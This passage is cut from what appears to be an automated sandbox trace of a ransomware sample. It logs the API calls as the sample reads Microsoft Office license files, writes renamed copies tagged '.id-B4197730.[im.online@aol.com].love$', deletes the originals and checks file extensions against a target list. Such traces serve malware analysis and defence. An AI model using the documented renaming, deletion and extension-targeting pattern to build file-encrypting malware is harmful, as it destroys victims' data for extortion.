dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0266.017] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.017] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0266.019] GetLastError () returned 0x0 [0266.019] ReadFile (in: hFile=0x560, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x2d5c, lpOverlapped=0x0) returned 1 [0266.021] WriteFile (in: hFile=0x574, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x2d60, lpOverlapped=0x0) returned 1 [0266.023] ReadFile (in: hFile=0x560, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0266.023] WriteFile (in: hFile=0x574, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x11a, lpOverlapped=0x0) returned 1 [0266.023] SetEndOfFile (hFile=0x574) returned 1 [0266.024] CloseHandle (hObject=0x574) returned 1 [0266.024] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.024] SetEndOfFile (hFile=0x560) returned 1 [0266.028] CloseHandle (hObject=0x560) returned 1 [0266.029] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0266.030] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-oob.xrm-ms")) returned 1 [0266.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85 [0266.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85 [0266.031] lstrlenW (lpString=".doc") returned 4 [0266.031] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0266.031] lstrlenW (lpString=".docx") returned 5 [0266.031] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0266.031] lstrlenW (lpString=".pdf") returned 4 [0266.031] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0266.032] lstrlenW (lpString=".xls") returned 4 [0266.032] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0266.032] lstrlenW (lpString=".xlsx") returned 5 [0266.032] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0266.032] lstrlenW (lpString=".ppt") returned 4 [0266.032] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0266.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85 [0266.032] lstrlenW (lpString=".zip") returned 4 [0266.032] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0266.032] lstrlenW (lpString=".rar") returned 4 [0266.032] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0266.032] lstrlenW (lpString=".bz2") returned 4 [0266.032] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0266.032] lstrlenW (lpString=".7z") returned 3 [0266.032] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0266.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85 [0266.032] lstrlenW (lpString=".dbf") returned 4 [0266.032] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0266.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85 [0266.032] lstrlenW (lpString=".1cd") returned 4 [0266.032] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0266.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85 [0266.032] lstrlenW (lpString=".jpg") returned 4 [0266.032] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0266.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85 [0266.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85 [0266.033] lstrlenW (lpString=".doc") returned 4 [0266.033] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0266.033] lstrlenW (lpString=".docx") returned 5 [0266.033] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0266.033] lstrlenW (lpString=".pdf") returned 4 [0266.033] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0266.033] lstrlenW (lpString=".xls") returned 4 [0266.033] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0266.033] lstrlenW (lpString=".xlsx") returned 5 [0266.033] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0266.033] lstrlenW (lpString=".ppt") returned 4 [0266.033] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0266.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85 [0266.033] lstrlenW (lpString=".zip") returned 4 [0266.033] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0266.033] lstrlenW (lpString=".rar") returned 4 [0266.033] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0266.033] lstrlenW (lpString=".bz2") returned 4 [0266.033] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0266.033] lstrlenW (lpString=".7z") returned 3 [0266.033] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0266.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85 [0266.034] lstrlenW (lpString=".dbf") returned 4 [0266.034] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0266.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85 [0266.034] lstrlenW (lpString=".1cd") returned 4 [0266.034] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0266.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85 [0266.034] lstrlenW (lpString=".jpg") returned 4 [0266.034] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0266.034] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0266.034] lstrlenW (lpString="HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 35 [0266.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0266.036] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=19957) returned 1 [0266.036] CloseHandle (hObject=0x560) returned 1 [0266.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0266.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-phn.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0266.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0266.037] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.148] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-phn.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0266.428] GetLastError () returned 0x0 [0266.428] ReadFile (in: hFile=0x560, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x4df5, lpOverlapped=0x0) returned 1 [0266.486] WriteFile (in: hFile=0x418, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x4e00, lpOverlapped=0x0) returned 1 [0266.509] ReadFile (in: hFile=0x560, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0266.509] WriteFile (in: hFile=0x418, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x11a, lpOverlapped=0x0) returned 1 [0266.509] SetEndOfFile (hFile=0x418) returned 1 [0266.510] CloseHandle (hObject=0x418) returned 1 [0266.515] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.515] SetEndOfFile (hFile=0x560) returned 1 [0266.973] CloseHandle (hObject=0x560) returned 1 [0266.973] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0266.974] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-phn.xrm-ms")) returned 1 [0266.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85 [0266.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85 [0266.976] lstrlenW (lpString=".doc") returned 4 [0266.976] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0266.976] lstrlenW (lpString=".docx") returned 5 [0266.976] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0266.976] lstrlenW (lpString=".pdf") returned 4 [0266.976] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0266.976] lstrlenW (lpString=".xls") returned 4 [0266.976] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0266.976] lstrlenW (lpString=".xlsx") returned 5 [0266.976] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0266.976] lstrlenW (lpString=".ppt") returned 4 [0266.976] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0266.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85 [0266.976] lstrlenW (lpString=".zip") returned 4 [0266.976] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0266.976] lstrlenW (lpString=".rar") returned 4 [0266.976] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0266.976] lstrlenW (lpString=".bz2") returned 4 [0266.977] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0266.977] lstrlenW (lpString=".7z") returned 3 [0266.977] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0266.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85 [0266.977] lstrlenW (lpString=".dbf") returned 4 [0266.977] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0266.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85 [0266.977] lstrlenW (lpString=".1cd") returned 4 [0266.977] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0266.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85 [0266.977] lstrlenW (lpString=".jpg") returned 4 [0266.977] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0266.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85 [0266.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85 [0266.977] lstrlenW (lpString=".doc") returned 4 [0266.977] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0266.977] lstrlenW (lpString=".docx") returned 5 [0266.977] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0266.978] lstrlenW (lpString=".pdf") returned 4 [0266.978] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0266.978] lstrlenW (lpString=".xls") returned 4 [0266.978] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0266.978] lstrlenW (lpString=".xlsx") returned 5 [0266.978] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0266.978] lstrlenW (lpString=".ppt") returned 4 [0266.978] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0266.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85 [0266.978] lstrlenW (lpString=".zip") returned 4 [0266.978] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0266.978] lstrlenW (lpString=".rar") returned 4 [0266.978] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0266.978] lstrlenW (lpString=".bz2") returned 4 [0266.978] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0266.978] lstrlenW (lpString=".7z") returned 3 [0266.978] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0266.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85 [0266.978] lstrlenW (lpString=".dbf") returned 4 [0266.978] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0266.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85 [0266.978] lstrlenW (lpString=".1cd") returned 4 [0266.978] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0266.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85 [0266.978] lstrlenW (lpString=".jpg") returned 4 [0266.979] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0266.979] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0266.979] lstrlenW (lpString="HomeStudentR_Trial2-ul-oob.xrm-ms") returned 33 [0266.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0266.981] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=11620) returned 1 [0266.981] CloseHandle (hObject=0x560) returned 1 [0266.981] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ul-oob.xrm-ms")) returned 0x220 [0266.981] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0266.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0266.982] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.982] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0266.984] GetLastError () returned 0x0 [0266.984] ReadFile (in: hFile=0x560, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x2d64, lpOverlapped=0x0) returned 1 [0266.986] WriteFile (in: hFile=0x4b0, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0266.988] ReadFile (in: hFile=0x560, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0266.988] WriteFile (in: hFile=0x4b0, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x116, lpOverlapped=0x0) returned 1 [0266.988] SetEndOfFile (hFile=0x4b0) returned 1 [0266.989] CloseHandle (hObject=0x4b0) returned 1 [0266.989] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.989] SetEndOfFile (hFile=0x560) returned 1 [0267.022] CloseHandle (hObject=0x560) returned 1 [0267.022] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0267.023] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ul-oob.xrm-ms")) returned 1 [0267.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83 [0267.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83 [0267.024] lstrlenW (lpString=".doc") returned 4 [0267.025] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0267.025] lstrlenW (lpString=".docx") returned 5 [0267.025] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0267.025] lstrlenW (lpString=".pdf") returned 4 [0267.025] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0267.025] lstrlenW (lpString=".xls") returned 4 [0267.025] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0267.025] lstrlenW (lpString=".xlsx") returned 5 [0267.025] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0267.025] lstrlenW (lpString=".ppt") returned 4 [0267.025] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0267.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83 [0267.025] lstrlenW (lpString=".zip") returned 4 [0267.025] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0267.025] lstrlenW (lpString=".rar") returned 4 [0267.025] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0267.025] lstrlenW (lpString=".bz2") returned 4 [0267.025] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0267.025] lstrlenW (lpString=".7z") returned 3 [0267.025] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0267.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83 [0267.025] lstrlenW (lpString=".dbf") returned 4 [0267.025] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0267.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83 [0267.025] lstrlenW (lpString=".1cd") returned 4 [0267.025] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0267.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83 [0267.026] lstrlenW (lpString=".jpg") returned 4 [0267.026] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0267.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83 [0267.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83 [0267.026] lstrlenW (lpString=".doc") returned 4 [0267.026] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0267.026] lstrlenW (lpString=".docx") returned 5 [0267.026] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0267.026] lstrlenW (lpString=".pdf") returned 4 [0267.026] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0267.026] lstrlenW (lpString=".xls") returned 4 [0267.026] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0267.026] lstrlenW (lpString=".xlsx") returned 5 [0267.026] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0267.026] lstrlenW (lpString=".ppt") returned 4 [0267.026] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0267.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83 [0267.026] lstrlenW (lpString=".zip") returned 4 [0267.026] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0267.026] lstrlenW (lpString=".rar") returned 4 [0267.026] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0267.026] lstrlenW (lpString=".bz2") returned 4 [0267.026] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0267.027] lstrlenW (lpString=".7z") returned 3 [0267.027] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0267.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83 [0267.027] lstrlenW (lpString=".dbf") returned 4 [0267.027] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0267.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83 [0267.027] lstrlenW (lpString=".1cd") returned 4 [0267.027] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0267.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83 [0267.027] lstrlenW (lpString=".jpg") returned 4 [0267.027] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0267.027] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0267.027] lstrlenW (lpString="MondoR_BypassTrial180-pl.xrm-ms") returned 31 [0267.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0267.029] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=11175) returned 1 [0267.029] CloseHandle (hObject=0x560) returned 1 [0267.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 